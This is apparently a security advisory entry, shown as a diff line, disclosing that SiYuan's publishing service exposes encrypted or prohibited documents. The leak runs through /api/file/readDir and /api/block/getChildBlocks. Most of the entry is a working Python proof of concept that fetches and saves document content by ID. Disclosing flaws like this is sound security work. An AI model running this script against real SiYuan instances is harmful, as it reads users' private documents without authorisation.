+ "details": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks 文档内容读取\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n \"\"\"\n 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容\n \"\"\"\n url = f\"{target_url.rstrip('/')}/api/block/getChildBlocks\"\n \n headers = {\n \"Content-Type\": \"application/json\"\n }\n \n data = {\n \"id\": doc_id\n }\n \n try:\n response = requests.post(url, json=data, headers=headers, timeout=10)\n response.raise_for_status()\n \n result = response.json()\n \n if result.get(\"code\") != 0:\n print(f\"[-] 请求失败: {result.get('msg', '未知错误')}\")\n return None\n \n return result.get(\"data\")\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] 网络请求失败: {e}\")\n return None\n except json.JSONDecodeError as e:\n print(f\"[-] JSON解析失败: {e}\")\n return None\n\ndef format_block_content(block):\n \"\"\"格式化块内容\"\"\"\n content = \"\"\n \n # 获取块内容\n if isinstance(block, dict):\n # 尝试多种可能的字段\n md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n if md:\n content = md.strip()\n \n return content\n\ndef main():\n \"\"\"主函数\"\"\"\n if len(sys.argv) > 1:\n target_url = sys.argv[1]\n else:\n target_url = input(\"请输入 SiYuan 服务地址 (例如: http://localhost:6806): \").strip()\n if not target_url:\n target_url = \"http://localhost:6806\"\n \n print(f\"目标地址: {target_url}\")\n print(\"=\" * 50)\n \n while True:\n print(\"\\n\" + \"=\" * 50)\n doc_id = input(\"请输入文档ID (输入 'quit' 或 'exit' 退出): \").strip()\n \n if doc_id.lower() in ['quit', 'exit', 'q']:\n print(\"程序退出\")\n break\n \n if not doc_id:\n print(\"[-] 文档ID不能为空\")\n continue\n \n print(f\"\\n[*] 正在读取文档: {doc_id}\")\n \n blocks = get_child_blocks(target_url, doc_id)\n \n if blocks is None:\n print(\"[-] 获取文档内容失败\")\n continue\n \n if not blocks:\n print(f\"[!] 文档 {doc_id} 没有子块或为空\")\n continue\n \n print(f\"[+] 成功获取 {len(blocks)} 个子块\")\n print(\"-\" * 50)\n \n # 保存所有块内容\n all_blocks_content = []\n \n for i, block in enumerate(blocks, 1):\n content = format_block_content(block)\n if content:\n print(content[:200] + (\"...\" if len(content) > 200 else \"\"))\n \n all_blocks_content.append({\n \"index\": i,\n \"content\": content,\n \"raw_block\": block\n })\n \n # 询问是否保存到文件\n save_choice = input(\"\\n是否保存到文件? (y/N): \").strip().lower()\n if save_choice in ['y', 'yes']:\n filename = f\"doc_{doc_id}_blocks.json\"\n try:\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"doc_id\": doc_id,\n \"block_count\": len(blocks),\n \"blocks\": all_blocks_content\n }, f, ensure_ascii=False, indent=2)\n print(f\"[+] 已保存到: {filename}\")\n except Exception as e:\n print(f\"[-] 保存失败: {e}\")\n \n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()\n```\n\n<img width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" />\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
0 commit comments